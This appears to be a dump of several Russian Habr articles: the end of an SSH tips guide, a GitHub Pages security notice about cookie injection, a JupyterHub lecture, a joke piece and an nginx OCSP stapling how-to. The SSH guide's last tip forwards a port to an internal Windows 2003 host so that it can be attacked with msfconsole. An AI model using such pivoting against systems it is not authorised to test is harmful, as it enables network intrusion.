Теперь у нас должно быть устройство tun при показе интерфейсов (`# ip a`). Следующий шаг добавит IP-адреса к туннельным интерфейсам.
Сторона клиента SSH:
```
localhost:~# ip addr add 10.10.10.2/32 peer 10.10.10.10 dev tun0
localhost:~# ip tun0 up
```
Сторона сервера SSH:
```
remoteserver:~# ip addr add 10.10.10.10/32 peer 10.10.10.2 dev tun0
remoteserver:~# ip tun0 up
```
Теперь у нас прямой маршрут к другому хосту (`route -n` и `ping 10.10.10.10`).
Можно маршрутизировать любую подсеть через хост на другой стороне.
```
localhost:~# route add -net 10.10.10.0 netmask 255.255.255.0 dev tun0
```
На удалённой стороне необходимо включить `ip_forward` и `iptables`.
```
remoteserver:~# echo 1 > /proc/sys/net/ipv4/ip_forward
remoteserver:~# iptables -t nat -A POSTROUTING -s 10.10.10.2 -o enp7s0 -j MASQUERADE
```
Бум! **VPN через туннель SSH на сетевом уровне 3**. Вот это уже победа.
Если возникают какие-то проблемы, используйте [tcpdump](https://hackertarget.com/tcpdump-examples/) и `ping`, чтобы установить причину. Поскольку мы играем на уровне 3, то наши пакеты icmp пойдут через этот туннель.
### 7. Копирование ключа SSH (ssh-copy-id)
Тут есть несколько способов, но эта команда экономит время, чтобы не копировать файлы вручную. Она просто копирует ~/.ssh/id\_rsa.pub (или ключ по умолчанию) с вашей системы в `~/.ssh/authorized_keys` на удалённом сервере.
```
localhost:~$ ssh-copy-id user@remoteserver
```
### 8. Удалённое выполнение команд (неинтерактивно)
Команду `ssh` можно связать с другими командам для обычного удобного интерфейса. Просто добавьте команду, которую хотите запустить на удалённом хосте, в качестве последнего параметра в кавычках.
```
localhost:~$ ssh remoteserver "cat /var/log/nginx/access.log" | grep badstuff.php
```
В данном примере `grep` выполняется на локальной системе после того, как лог скачался по ssh-каналу. Если файл большой, удобнее запустить `grep` на удалённой стороне, просто заключив обе команды в двойные кавычки.
Другой пример выполняет ту же самую функцию, что и `ssh-copy-id` из примера 7.
```
localhost:~$ cat ~/.ssh/id_rsa.pub | ssh remoteserver 'cat >> .ssh/authorized_keys'
```
### 9. Удалённый перехват пакетов и просмотр в Wireshark
Я взял один из наших [примеров по tcpdump](https://hackertarget.com/tcpdump-examples/). Используйте его для удалённого перехвата пакетов с выдачей результата непосредственно в GUI локального Wireshark.
```
:~$ ssh root@remoteserver 'tcpdump -c 1000 -nn -w - not port 22' | wireshark -k -i -
```
### 10. Копирование локальной папки на удалённый сервер по SSH
Красивый трюк, который сжимает папку с помощью `bzip2` (это параметр -j в команде `tar`), а затем извлекает поток `bzip2` на другой стороне, создавая на удалённом сервере дубликат папки.
```
localhost:~$ tar -cvj /datafolder | ssh remoteserver "tar -xj -C /datafolder"
```
### 11. Удалённые приложения GUI с переадресацией SSH X11
Если на клиенте и удалённом сервере установлены «иксы», то можно удалённо выполнить команду GUI, с окном на вашем локальном рабочем столе. Эта функция существует давным давно, но по-прежнему очень полезна. Запустите удалённый веб-браузер или даже консоль VMWawre Workstation, как я делаю в этом примере.
```
localhost:~$ ssh -X remoteserver vmware
```
Требуется строка `X11Forwarding yes` в файле `sshd_config`.
### 12. Удалённое копирование файлов с помощью rsync и SSH
`rsync` во многом удобнее `scp`, если требуется периодическое резервное копирование каталога, большого количества файлов или очень больших файлов. Здесь есть функция восстановления после сбоя передачи и копирования только изменённых файлов, что сохраняет трафик и время.
В этом примере используется сжатие `gzip` (-z) и режим архивирования (-a), который включает рекурсивное копирование.
```
:~$ rsync -az /home/testuser/data remoteserver:backup/
```
### 13. SSH через сеть Tor
Анонимная сеть Tor может туннелировать SSH-трафик с помощью команды `torsocks`. Следующая команда прокинет ssh-прокси через Tor.
```
localhost:~$ torsocks ssh myuntracableuser@remoteserver
```
[Torsocks](https://github.com/dgoulet/torsocks) будет использовать для прокси порт 9050 на localhost. Как всегда при использовании Tor необходимо серьёзно проверять, какой трафик туннелируется и другие проблемы операционной безопасности (opsec). **Куда идут ваши DNS-запросы?**
### 14. SSH к инстансу EC2
Для подключения к инстансу EC2 необходим закрытый ключ. Скачайте его (расширение .pem) из панели управления Amazon EC2 и измените разрешения (`chmod 400 my-ec2-ssh-key.pem`). Храните ключ в надёжном месте или поместите его в свою папку `~/.ssh/`.
```
localhost:~$ ssh -i ~/.ssh/my-ec2-key.pem ubuntu@my-ec2-public
```
Параметр **-i** просто указывает ssh-клиенту использовать этот ключ. Файл `~/.ssh/config` идеально подходит для автоматической настройки использования ключа при подключении к хосту ec2.
```
Host my-ec2-public
Hostname ec2???.compute-1.amazonaws.com
User ubuntu
IdentityFile ~/.ssh/my-ec2-key.pem
```
### 15. Редактирование текстовых файлов с помощью VIM через ssh/scp
Для всех любителей `vim` этот совет сэкономит немного времени. С помощью `vim` файлы редактируются по scp одной командой. Этот метод просто создаёт файл локально в `/tmp`, а затем копирует его обратно, как только мы его сохранили из `vim`.
```
localhost:~$ vim scp://user@remoteserver//etc/hosts
```
Примечание: формат немного отличается от обычного `scp`. После хоста у нас двойной `//`. Это ссылка на абсолютный путь. Один слэш будет означать путь относительно домашней папки `users`.
```
**warning** (netrw) cannot determine method (format: protocol://[user@]hostname[:port]/[path])
```
Если увидите такую ошибку, дважды проверьте формат команды. Обычно это означает синтаксическую ошибку.
### 16. Монтирование удалённого SSH как локальной папки с SSHFS
При помощи `sshfs` — клиента файловой системы `ssh` — мы можем подключить локальный каталог к удалённому местоположению со всеми взаимодействиями файлов в зашифрованном сеансе `ssh`.
```
localhost:~$ apt install sshfs
```
На Ubuntu и Debian установим пакет `sshfs`, а затем просто приимонтируем удалённое расположение к нашей системе.
```
localhost:~$ sshfs user@remoteserver:/media/data ~/data/
```
### 17. Мультиплексирование SSH с помощью ControlPath
По умолчанию при наличии существующего подключения к удалённому серверу с помощью `ssh` второе подключение с помощью `ssh` или `scp` устанавливает новый сеанс с дополнительной аутентификацией. Опция `ControlPath` позволяет использовать существующий сеанс для всех последующих соединений. Это значительно ускорит процесс: эффект заметен даже в локальной сети, а тем более при подключении к удалённым ресурсам.
```
Host remoteserver
HostName remoteserver.example.org
ControlMaster auto
ControlPath ~/.ssh/control/%r@%h:%p
ControlPersist 10m
```
ControlPath указывает сокет для проверки новыми соединениями на предмет наличия активной сессии `ssh`. Последняя опция означает, что даже после выхода из консоли существующий сеанс останется открытым 10 минут, так что в течение этого времени вы сможете повторно подключиться по существующему сокету. Для дополнительной информации смотрите справку `ssh_config man`.
### 18. Потоковое видео по SSH с помощью VLC и SFTP
Даже давние пользователи `ssh` и `vlc` (Video Lan Client) не всегда знают об этой удобной опции, когда очень нужно посмотреть видео по сети. В настройках **File | Open Network Stream** программы `vlc` можно ввести местоположение как `sftp://`. Если требуется пароль, появится запрос.
```
sftp://remoteserver//media/uploads/myvideo.mkv
```
### 19. Двухфакторная аутентификация
Такая же двухфакторная аутентификация, как у вашего банковского счёта или учётной записи Google, применима к сервису SSH.
Конечно, `ssh` изначально имеет функцию двухфакторной аутентификации, под которой подразумеваются пароль и ключ SSH. Преимущество аппаратного токена или приложения Google Authenticator заключается в том, что это обычно другое физическое устройство.
См. наше 8-минутное руководство по [использованию Google Authenticator и SSH](https://hackertarget.com/ssh-two-factor-google-authenticator/).
### 20. Прыжки по хостам с ssh и -J
Если из-за сегментации сети приходится переходить через несколько хостов ssh, чтобы добраться до конечной сети назначения, вам сэкономит время ярлык -J.
```
localhost:~$ ssh -J host1,host2,host3 user@host4.internal
```
Здесь главное понимать, что это не аналогично команде `ssh host1`, затем `user@host1:~$ ssh host2` и т. д. Параметр -J хитро использует переадресацию, чтобы localhost устанавливал сеанс со следующим хостом в цепочке. Таким образом, в приведённом выше примере наш localhost аутентифицируется на host4. То есть используются наши ключи localhost, а сеанс от localhost до host4 полностью зашифрован.
Для такой возможности в `ssh_config` укажите опцию конфигурации **ProxyJump**. Если регулярно приходится переходить через несколько хостов, то автоматизация через конфиг сэкономит массу времени.
### 21. Блокировка попыток брутфорса SSH с помощью iptables
Любой, кто управлял сервисом SSH и просматривал логи, знает о количестве попыток брутфорса, которые происходят каждый час каждый день. Быстрый способ уменьшить шум в логах — перенести SSH на нестандартный порт. Внесите изменения в файл `sshd_config` с помощью параметра конфигурации **Port##**.
С помощью `iptables` тоже можно легко блокировать попытки подключения к порту по достижении определённого порога. Простой способ сделать это — использовать [OSSEC](https://hackertarget.com/enable-ossec-active-response/), поскольку он не только блокирует SSH, но выполняет кучу других мер по обнаружению вторжений на базе имени хоста (HIDS).
### 22. SSH Escape для изменения переадресации портов
И наш последний пример `ssh` предназначен для изменения переадресации портов на лету в рамках существующего сеанса `ssh`. Представьте такой сценарий. Вы глубоко в сети; возможно, прыгнули через полдюжины хостов и вам нужен локальный порт на рабочей станции, который перенаправлен на Microsoft SMB старой системы Windows 2003 (кто-нибудь помнит ms08-67?).
Нажав `enter`, попробуйте ввести в консоли `~C`. Это управляющая последовательность в сессии, позволяющая вносить изменения в существующее соединение.
```
localhost:~$ ~C
ssh> -h
Commands:
-L[bind_address:]port:host:hostport Request local forward
-R[bind_address:]port:host:hostport Request remote forward
-D[bind_address:]port Request dynamic forward
-KL[bind_address:]port Cancel local forward
-KR[bind_address:]port Cancel remote forward
-KD[bind_address:]port Cancel dynamic forward
ssh> -L 1445:remote-win2k3:445
Forwarding port.
```
Здесь вы можете увидеть, что мы переадресовали наш локальный порт 1445 на хост Windows 2003, который нашли во внутренней сети. Теперь просто запустите `msfconsole`, и можно идти дальше (предполагая, что вы планируете использовать этот хост).
Завершение
==========
Эти примеры, советы и команды `ssh` должны дать отправную точку; дополнительная информация о каждой из команд и возможностей доступна на справочных страницах (`man ssh`, `man ssh_config`, `man sshd_config`).
Меня всегда очаровывала возможность обращаться к системам и выполнять команды в любой точке мира. Развивая свои навыки по работе с инструментами вроде `ssh` вы станете более эффективным в любой игре, в какую играете. | https://habr.com/ru/post/435546/ | null | ru | null |
# GitHub Pages переезжают на github.io
Начиная с сегодняшнего дня все сайты GitHub Pages переходят на новый домен: github.io. Это мера безопасности нацеленна на предотвращение CSRF атак на главный сервер — github.com. Если ваш сайт настроен, как «yoursite.com» вместо «yoursite.github.com» — изменения вас никак не затронут.
Если ваш сайт раньше располагался на домене «username.github.com», последующие запросы будут редиректиться на новый домен: «username.github.io».
C этого момента все сайты, размещенные на субдоменах github.com могут и должны расцениваться как официальные продукты GitHub.
#### Технические детали
Изменения в сайтах и пользовательских доменах:
* Все пользователи, организации, и сайты проектов настроенные на работу с github.io, вместо github.com.
* Все сайты \*.github.com редиректятся c кодом 301 на \*.github.io.
* Сайты, с [пользовательскими доменами](https://help.github.com/articles/setting-up-a-custom-domain-with-pages) изменения не затронули.
* IP адреса не изменились, существующие A-записи указывают на старые IP.
#### Изменения в GitHub репозиториях:
* Пользовательские сайты можно называть используя новое, или старое соглашение: username/username.github.[io/com].
* Существующие репозитории сайтов, названные по старому соглашению так и будут продолжать свою работу.
* Если существует два репозитория, названные по старому и новому соглашению — \*.github.io победит.
#### Уязвимости безопасности.
Существует две основные категории потенциальных уязвимостей, которые привели к этим переменам.
* Изменение сессий и CSRF. Так как пользовательские сайты могут подключать JavaScript, который хранится на субдоменах github.com, становится возможным записывать(но не считывать) куки с домена github.com, что позволяет злоумышленнику получить доступ к github.com и осуществить атаку
* Фишинговые атаки, при которых злоумышленник создает похожий сайт и запрашивает у пользователя конфиденциальную информацию.
У нас нет доказательств, что такие атаки были, однако мы постарались их заранее не допустить.
Источник: [github.com/blog/1452-new-github-pages-domain-github-io](https://github.com/blog/1452-new-github-pages-domain-github-io)
**UPD**: В комментариях [s01o](https://habrahabr.ru/users/s01o/) указал на [пост](http://homakov.blogspot.ru/2013/03/hacking-github-with-webkit.html) Егора Хомакова, там рассказывается как всетаки можно провести атаку. Как оказалось — возможно это в WebKit браузерах, так как они особым образом работают с куками.
> Так это устроенно в нормальных браузерах:
>
> `Cookie:_gh_sess=ORIGINAL; _gh_sess=HACKED;`
>
> Надо понимать, что \_gh\_sess — это две разные куки, не смотря на название и отсылаются они в одно и то же время.
>
> В WebKit дело же обстоит по другому, куки отсылаются не по домену (первой записью должно быть Domain=github.com) ровно тоже самое и с httpOnly(очевидно, что они также должны быть в начале).
>
> В действительности они упорядочиваются по времени создания (В этом месте я должен быть не прав, но это то, как есть на самом деле)
>
> | https://habr.com/ru/post/175685/ | null | ru | null |
# JupyterHub, или как управлять сотнями пользователей Python. Лекция Яндекса
Платформа Jupyter позволяет начинающим разработчикам, аналитикам данных и студентам быстрее начать программировать на Python. Предположим, ваша команда растёт — в ней теперь не только программисты, но и менеджеры, аналитики, исследователи. Рано или поздно отсутствие совместного рабочего окружения и сложность настройки начнут тормозить работу. Справиться с этой проблемой поможет JupyterHub — многопользовательский сервер c возможностью запускать Jupyter одной кнопкой. Он отлично подходит для тех, кто преподаёт Python, а также для аналитиков. Пользователю нужен только браузер: никаких проблем с установкой ПО на ноутбук, совместимостью, пакетами. Мейнтейнеры Jupyter активно развивают JupyterHub наряду с JupyterLab и nteract.
Меня зовут Андрей Петрин, я руководитель группы аналитики роста в Яндексе. В докладе на Moscow Python Meetup я напомнил о плюсах Jupyter и рассказал про архитектуру и принципы работы JupyterHub, а также про опыт применения этих систем в Яндексе. В конце вы узнаете, как поднять JupyterHub на любом компьютере.
— Начну с того, кто такие аналитики в Яндексе. Существует аналогия, что это такая многорукая Шива, которая умеет делать сразу много разных вещей и сочетает в себе много ролей.
Всем привет! Меня зовут Андрей Петрин, я руководитель группы аналитики роста в Яндексе. Я расскажу про библиотеку JupyterHub, которая в свое время сильно упростила нам жизнь в аналитике Яндекса, мы буквально почувствовали буст продуктивности большого количества команд.
Например, аналитики в Яндексе — это немножко менеджеры. Аналитики всегда знают сроки, таймлайн процесса, что в какой момент необходимо делать.
Это немножко разработчики, они знакомы с разными способами обработки данных. Например, на слайде в руках Шивы те библиотеки Python, которые приходят на ум мне, это не полный список, но то, что используется на ежедневной основе. Естественно, разработка у нас ведется не только на Python, но я буду рассказывать в первую очередь о Python.
Аналитики — немножко математики, нам необходимо принимать решения взвешенно, смотреть на настоящие данные, не на менеджерскую точку зрения, а искать какую-то истину и разбираться в этом.
Во всей этой задаче нам достаточно сильно помогает экосистема Jupyter.
Это такая платформа для интерактивного программирования и создания отчетов-ноутбуков. Ключевой сущностью Jupyter-ноутбуков является такой ноутбук, где есть большое количество разнообразных виджетов, интерактивных элементов, которые можно изменять. В качестве главной сущности — микроэлементы кода, которые ты программируешь. Их можно напечатать в ноутбуке в твоем браузере, который ты постоянно используешь. Это могут быть как картинки, так и интерактивные HTML-производные элементы. Можно просто печатать, делать принт, отображать элементы — разнообразные вещи.
Система Jupyter развивается давно, поддерживает различные языки программирования различных версий, Python 2 и 3, Go, разнообразные вещи. Позволяет круто решать наши повседневные задачи.
Чем мы в аналитике занимаемся и как нам Jupyter в этом сильно помогает?
Первая задача — классификация веб-сайтов. Выясняется, что для большого Яндекса, который знает про весь интернет, смотреть на конкретные сайты достаточно трудоемко. У нас такое количество сайтов, каждый из которых может иметь собственную специфику, что нам нужно агрегировать это до каких-то тематик — групп сайтов, не очень больших, которые в целом ведут себя похоже.
Для этой задачи мы строим граф смежности всех хостов интернета, граф похожести двух сайтов друг на друга. При помощи ручной разметки хостов получаем некоторую первичную базу о том, какие сайты в интернете есть, и дальше экстраполируем ручную разметку на весь интернет. Буквально в каждой из задач мы используем Jupyter. Он позволяет с точки зрения построения графа смежности постоянно запускать операции на MapReduce, строить такие графы, проводить такую дата-аналитику.
Ручную разметку мы автоматизировали в Jupyter при помощи виджетов-инпутов. У нас для каждого хоста есть предполагаемая тематика, которая, скорее всего, правильная. Мы почти всегда угадываем тематику, но для ручной разметки человек все-таки нужен.
И получаются всякие интересные картинки.
Например, здесь изображены сайты тематики спорта и соответствующие поисковые запросы, которые в спортивной тематике присутствуют.
Тематика энциклопедий. Сайтов и в целом уникальных запросов поменьше, но основные запросы побольше.
Тематика homework — готовые домашние задания. Достаточно интересная, потому что внутри нее есть два независимых кластера сайтов, похожих друг на друга, но не похожих на остальных. Это хороший пример тематики, которую хотелось бы разбить на две. Одна половина сайтов явно решает одну задачу внутри домашних заданий, другая — другую.
Было достаточно интересно делать оптимизатор ставок, совсем другую задачку. В Яндексе закупается некоторое количество мобильных приложений, в том числе за деньги, и мы уже умеем предсказывать lifetime пользователя, сколько мы можем получить от установки какого-то приложения для каждого пользователя, но выясняется, что к сожалению, это знание сложно передать маркетологу, тому исполнителю, кто будет заниматься закупкой трафика. Это происходит обычно из-за того, что всегда есть какой-то бюджет, есть немаленькое количество ограничений. Необходимо делать такую задачу многомерной оптимизацию, интересную с точки зрения аналитики, но нужно сделать прибор для менеджера.
Здесь сильно помогает Jupyter. Это интерфейс, который мы разработали в Jupyter, чтобы пользователь-менеджер, не обладающий знаниями Python, мог войти и получить результат нашего прогноза. Можно выбрать там, выбираем ли мы Android или iOS, на каких странах, какое приложение. Есть достаточно сложные управляторы и ручки, которые можно изменять, например, какие-то прогрессбары, размер бюджета, какая-то толерантность к риску. Эти задачи решены при помощи Jupyter, и мы очень довольны тем, что аналитик, являясь многорукой Шивой, может решать эти задачи один.
Лет пять назад мы пришли к тому, что есть некоторые ограничения и проблемы платформы, с которыми хочется бороться. Первая проблема в том, что у нас достаточно много разных аналитиков, каждый из которых все время на разных версиях, операционных системах и т. д. Часто код, который работает у одного человека, не запускается у другого.
Еще большая проблема — версии пакетов. Думаю, не надо рассказывать, как тяжело поддерживать какой-то консистентный environment, чтобы все могло запуститься из коробки.
И в целом мы начали понимать, что если предоставить новому аналитику, который только пришел в команду, преднастроенную среду, где все будет настроено, все пакеты поставлены на актуальную версию и мейнтейнятся в едином месте, именно для аналитической работы это так же хорошо подходит, как и для разработки. В целом стройная для разработчика мысль, но к аналитику применима не всегда именно из-за таких постоянных изменений в аналитике, которые происходят.
Здесь к нам на помощь пришла библиотека JupyterHub.
Это очень простое приложение, оно состоит из четырех компонент, просто разделяющихся.
Первая часть приложения отвечает за авторизацию. Мы должны проверить пароль и логин, можем ли мы пустить этого человека.
Вторая — запуск серверов Jupyter, от каждого пользователя запускается тот самый привычный вам Jupyter сервер, который может запускать Jupyter-ноутбуки. Происходит то же, что у вас на компьютере, только в облаке, если это облачное развертывание, или на одной машине спаунятся различные процессы.
Проксирование. Есть единая точка доступа ко всему серверу, и JupyterHub определяет, к какому пользователю на какой порт нужно идти, для пользователя все абсолютно прозрачно. Естественно, некоторое управление БД и всей системой.
Если поверхностно описать, как выглядит JupyterHub, пользовательский браузер приходит в систему JupyterHub, и если у этого пользователя сервер еще не запущен или он не авторизован. JupyterHub входит в игру и начинает задавать какие-то вопросы, создавать сервера и готовить среду.
Если пользователь уже залогинен, то его напрямую проксируют в собственный сервер, и Jupyter-ноутбук фактически просто общается с человеком напрямую, иногда спрашивая у сервера про доступ, разрешен ли этому пользователю доступ к этому ноутбуку и т. д.
Интерфейс достаточно простой и удобный. По умолчанию при развертывании используется username и пароль того компьютера, где это развернуто. Если у вас есть сервер, где есть несколько пользователей, то логином и паролем является логин и пароль к системе, и пользователь видит свою домашнюю директорию /home как свою домашнюю директорию. Очень удобно, не нужно думать ни о каких пользователях.
Остальные интерфейсы в целом достаточно привычны для вас. Это стандартные Jupyter-ноутбуки, которые вы все видели. Можно посмотреть активные ноутбуки.
Эту вещь вы скорее всего не видели. Это окно управления JupyterHub, можно отключить свой сервер, запустить его или, например, получить токен для общения от вашего имени с JupyterHub, например, для запуска каких-то микросервисов внутри JupyterHub.
Наконец, для администратора доступно управление каждым пользователем, запуск индивидуальных Jupyter серверов, остановка их, добавление, удаление пользователей, отключение всех серверов, выключение, включение хаба. Все это делается в браузере без каких-либо настроек и достаточно удобно.
В целом система очень сильно развивается.
На картинке курс в UC Berkley, который закончился в этом декабре, это был самый большой курс по data science в мире, по-моему, его прослушали 1200 студентов, которые не умели программировать, и пришли учиться программированию. Это было сделано на платформе JupyterHub, студентам не нужно было устанавливать никакой Python у себя на компьютере, они могли просто зайти в браузере на этот сервер.
Естественно, при дальнейших стадиях обучения необходимость установки пакетов появилась, но это классно решает проблему первого входа. Когда вы преподаете Python, и человек совсем с этим не знаком, довольно часто вы понимаете, что какие-то рутины, связанные с установками пакетов, поддержанием какой-то системы и тому подобное, это немного лишнее. Вы хотите вдохновить человека, рассказать о том, что это за мир, не углубляясь в детали, которые человек сможет освоить в будущем.
Установка:
```
python3 -m pip install jupyterhub
sudo apt-get install npm nodejs-legacy
npm install -g configurable-http-proxy
```
Поддерживается исключительно Python 3, внутри JupyterHub можно запускать ячейки во втором Python, но сам JupyterHub работает только на третьем. Единственная зависимость — вот эта configurable-http-proxy, именно она используется в Python для упрощения.
Конфигурация:
```
jupyterhub --generate-config
```
Первое, что вы захотите сделать, это сгенерить конфиг. Все заработает само, даже без каких-либо настроек, по умолчанию будет поднят локальный сервер с каким-то портом 8000, с доступом к вашим пользователям по логину и паролю, работать будет только под судой, будет работать буквально из коробки, но generate-config создаст вам файлик JupyterHub config, где буквально в виде документации можно прочитать абсолютно все его настройки. Это очень удобно, можно даже не заходя в документацию, понять, в каких строчках что нужно включить, там все закомментировано, можно управлять, все настройки по умолчанию видны.
Хочется сделать некую паузу и оговорку. По умолчанию, когда вы будете это развертывать, вы будете это развертывать у себя на каком-то сервере, и если вы не предпримете определенные усилия, а именно не будете использовать HTTPS, то сервер поднимется по HTTP, и ваши пароли и логины пользователей, которые будут входить, будут в открытом виде светиться при общении с JupyterHub. Это очень опасная история, невероятное количество проблем тут можно огрести. Поэтому не игнорируйте проблему с HTTPS. Если у вас нет собственного сертификата HTTPS, вы можете его создать, либо есть замечательный сервис letsencrypt.org, который позволяет бесплатно получить сертификаты, и вы сможете на своем домене запускать без проблем и без денег. Это достаточно удобно, не игнорируйте это.
По умолчанию хаб работает из под root, очевидно, он спаунит из под конкретного пользователя собственные ноутбуки. Это можно изменить, но по умолчанию это так. И все пользователи локальные, домашняя директория прокидывается для каждого конкретного пользователя. Подробнее расскажу, что можно еще сделать.
Классность JupyterHub в том, что это такой конструктор. Буквально в каждом элементе из диаграммы, что я показал, можно вставлять, встраивать собственные элементы, которые упрощают работу. Например, предположим, вам не хочется, чтобы ваши пользователи вбивали логин и пароль системный, это не очень безопасно или неудобно. Вам хочется сделать другую систему логина. Это можно сделать при помощи oauth и, например, github.
Вместо того, чтобы заставлять пользователя вбивать логин и пароль, вы просто включаете авторизацию при помощи двух строчек кода гитхабом, и пользователь автоматически будет логиниться гитхабом, и будет локально прокинут по гитхабному юзернейму.
Поддерживаются из коробки другие способы авторизации пользователей. Если есть LDAP — можно его. Можно любой OAuth, есть REMOTE\_USER Authenticator, позволяющий удаленным серверам проверять доступ к вашему локальному. Все что душе угодно.
Предположим, у вас есть несколько типов задач. Например, одна использует GPU, и для этого вам нужен один стек технологий, определенный набор пакетов, и хочется отделить его от CPU с другим сценарием использования. Для этого можно написать собственный спаунер. Это система, которая создает пользовательские Jupyter-ноутбуки. Здесь изображена настойка при помощи Docker, вы можете собрать Docker-файл, который будет разворачиваться под каждого пользователя, и пользователь будет не локальным, а в своем внутреннем контейнере.
Есть некоторое количество других удобных фишек JupyterHub, сервисы.
Предположим, вы запускаете на какой-то машине, где ограниченное число памяти, и вы хотите через время после того, как пользователь не был в системе, экономить свои ресурсы и отключать этого пользователя, потому что он их не использует, а память занимает. Или, например, у вас облачное развертывание, и вы можете сэкономить денег на виртуалках, отключив неиспользуемое ночью, и включать их только тогда, когда это нужно.
Есть готовый сервис cull\_idle\_servers, который позволяет выключать любые пользовательские сервера после неактивности. Все данные будут сохранены, просто не будут использоваться ресурсы, вы сможете немного сэкономить.
Я рассказал, что буквально на каждый кусочек этой схемы можно что-то свое включить. Можно сделать некоторый аддон к прокси, каким-то своим образом делать прокидывание пользователей. Можно написать собственный авторизатор, можно напрямую общаться с БД при помощи сервисов. Можно создавать собственные спаунеры.
Хочу порекомендовать такой проект, систему поверх Kubernetes, которая позволяет все то, что я рассказал, просто напрямую развернуть в любом поддерживающем кубернате-облаке, буквально без каких-либо специфичных настроек. Это очень удобно, если вы вообще не хотите заморачиваться с собственным сервером, девопсом и поддержкой. Все будет работать из коробки, очень хороший подробный гайд.
Вам нужен JupyterHub в случае, если у вас несколько человек используют Jupyter. И необязательно, чтобы они использовали Jupyter для одного и того же. Это удобная система, которая позволит этих людей объединить и избежать дальнейших проблем. А если они, тем более, делают одну и ту же задачу — скорее всего, им будет нужен более-менее консистентный набор пакетов.
То же самое в случае, если вам поступают жалобы о том, что у меня замечательно построилась модель, какой-то аналитик Васечкин пытается ее воспроизвести и она не работает. В свое время у нас была постоянная проблема. И безусловно, консистентный стейт сервера в этом сильно помогает.
Очень классно использовать это для обучения Python. Есть сервис nbgrader, который поверх JupyterHub позволяет делать удобные батарейки с отправкой студентам домашнего задания. Они сами заполняют решения, отправляют обратно, есть автоматическое тестирование, которое проверяет ячейки Jupyter и позволяет сразу выставлять оценки. Очень удобная система, рекомендую.
Представьте, что вы пришли на какой-то семинар, где вы хотите что-то показать на Python. При этом вы не хотите потратить первые три часа на то, чтобы у всех все заработало из вашего how to. Вы хотите сразу начать делать что-то интересное.
Вы можете поднять такую систему на своем сервере, предоставить пользователям свой адрес в интернете, куда можно залогиниться, и начать пользоваться, не тратить время на ненужные рутины. На этом все, спасибо. | https://habr.com/ru/post/353546/ | null | ru | null |
# Преведно-ориентированный язык. Материал из Абсурдопедии.
Я сегодня долго смеялся. Преведно-ориентированный язык. [Материал из Абсурдопедии](http://absurdopedia.wikia.com/wiki/Преведно-ориентированный_язык). Учитесь писать на русско-преведно-ориентированных языках.
Или вот. HTML:
`<ПРВД>
<БАШКА>
<херувидеш менед-самтакой="шоце-таке" шоце="пысьмо/првд; штырлыц="форточка1251" />
<херувидеш атыкто="тыузнаешеёпо" шоце="превед,медвед,менед" />
<пшёлна кито="морда моя" куда="/держыморд.мрд" />
<пшёлна кито="комубабло" куда="менед://жжж.некразовд.гом/папамедвед.првд" />
<ахтунг>Премерр дакумента ПРВД
<ВСЕТУТ>
<забор гиде="усиридин"><Ж><М><кросавчег какой="#МЕДВЕД" вес="36">Превед планед!`
[Читайте. Дальше больше!](http://absurdopedia.wikia.com/wiki/Преведно-ориентированный_язык) | https://habr.com/ru/post/9486/ | null | ru | null |
# Добиваемся OCSP stapling = Yes для сертификатов от WoSign на Nginx
Доброго времени суток, Хабражители.
Прочитав статьи [№1](http://habrahabr.ru/post/252529/) и [№2](http://habrahabr.ru/post/249529/) (про бесплатные SSL сертификаты от китайских друзей [WoSign](https://www.wosign.com) столкнулся с тем, что многие не могут добиться OCSP stapling = Yes для этих сертификатов.
Хочу рассказать как этого добился я.
Мы получили сертификат WoSign, залили на сервер.
И так, приступим.
Во-первых — получаем промежуточные сертификаты.
```
cd /path/to/your/ssl/
wget -O - https://www.startssl.com/certs/ca.pem | tee -a ca-certs.pem > /dev/null
wget -O - https://www.startssl.com/certs/sub.class1.server.ca.pem | tee -a ca-certs.pem > /dev/null
wget -O - http://aia.startssl.com/certs/ca.crt | openssl x509 -inform DER -outform PEM | tee -a ca-certs.pem > /dev/null
wget -O - http://aia1.wosign.com/ca1g2-server1-free.cer | openssl x509 -inform DER -outform PEM | tee -a ca-certs.pem > /dev/null
wget -O - http://aia6.wosign.com/ca6.server1.free.cer | openssl x509 -inform DER -outform PEM | tee -a ca-certs.pem > /dev/null
```
Во-вторых — в коняги Nginx'а добавляем
```
#########################################################
#
#
ssl_session_cache shared:SSL:10m;
ssl_session_timeout 5m;
ssl_prefer_server_ciphers on;
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate "/path/to/your/ssl/ca-certs.pem";
resolver 8.8.8.8 8.8.4.4 valid=300s;
resolver_timeout 5s;
#
#
#########################################################
```
В-третьих — в коняги домена прописываем для 443 порта в раздел server следующее:
```
ssl on;
ssl_certificate /path/to/your/ssl/ssl.crt;
ssl_certificate_key /path/to/your/ssl/ssl.key;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_ciphers 'HIGH:!aNULL:!MD5:!kEDH';
add_header Strict-Transport-Security "max-age=31536000; includeSubdomains;";
```
И напоследок — перезапускаем Nginx
```
service nginx restart
```
Теперь при проверке на [SSL-тестере](https://www.ssllabs.com/ssltest/index.html) мы видим результат А+ и включенный OCSP stapling.
Так же можно проверить это прямо на сервере командой
```
openssl s_client -connect YourDomain.com:443 -tls1 -tlsextdebug -status
```
Если в результате есть следующее,
**то значит всё отлично!**OCSP response:
======================================
OCSP Response Data:
OCSP Response Status: successful (0x0)
Response Type: Basic OCSP Response
Version: 1 (0x0)
Responder Id: C = CN, O = WoSign CA Limited, CN = WoSign Free SSL OCSP Responder(G2)
Produced At: Mar 27 14:30:05 2015 GMT
Responses:
Certificate ID:
Hash Algorithm: sha1
Issuer Name Hash: A06661F16CBCC23E98BC71914830B85AAA8D0A6B
Issuer Key Hash: D2A716207CAFD9959EEB430A19F2E0B9740EA8C7
Serial Number: 4C306486969BCBC1AE555A1D8C117B87
Cert Status: good
This Update: Mar 27 14:30:05 2015 GMT
Next Update: Mar 29 14:30:05 2015 GMT
Signature Algorithm: sha1WithRSAEncryption
7c:d8:e8:28:37:a3:2b:44:d2:30:f3:e5:a6:fa:9d:ff:1c:4a:
d9:33:43:a2:75:d6:f5:da:a1:47:f4:46:22:af:a2:54:a8:30:
cb:c8:6a:f9:1f:85:18:ee:c1:70:43:c9:08:61:cb:eb:b1:d6:
42:70:0f:e4:7b:dc:81:fb:f5:47:d1:02:b9:f4:bb:e4:5d:32:
57:75:8e:ca:15:95:4c:50:f3:2b:8f:94:ab:53:2d:a7:0a:b0:
3e:ab:d4:2b:fa:f1:8c:2e:00:46:e5:9b:d3:31:9f:e6:54:9d:
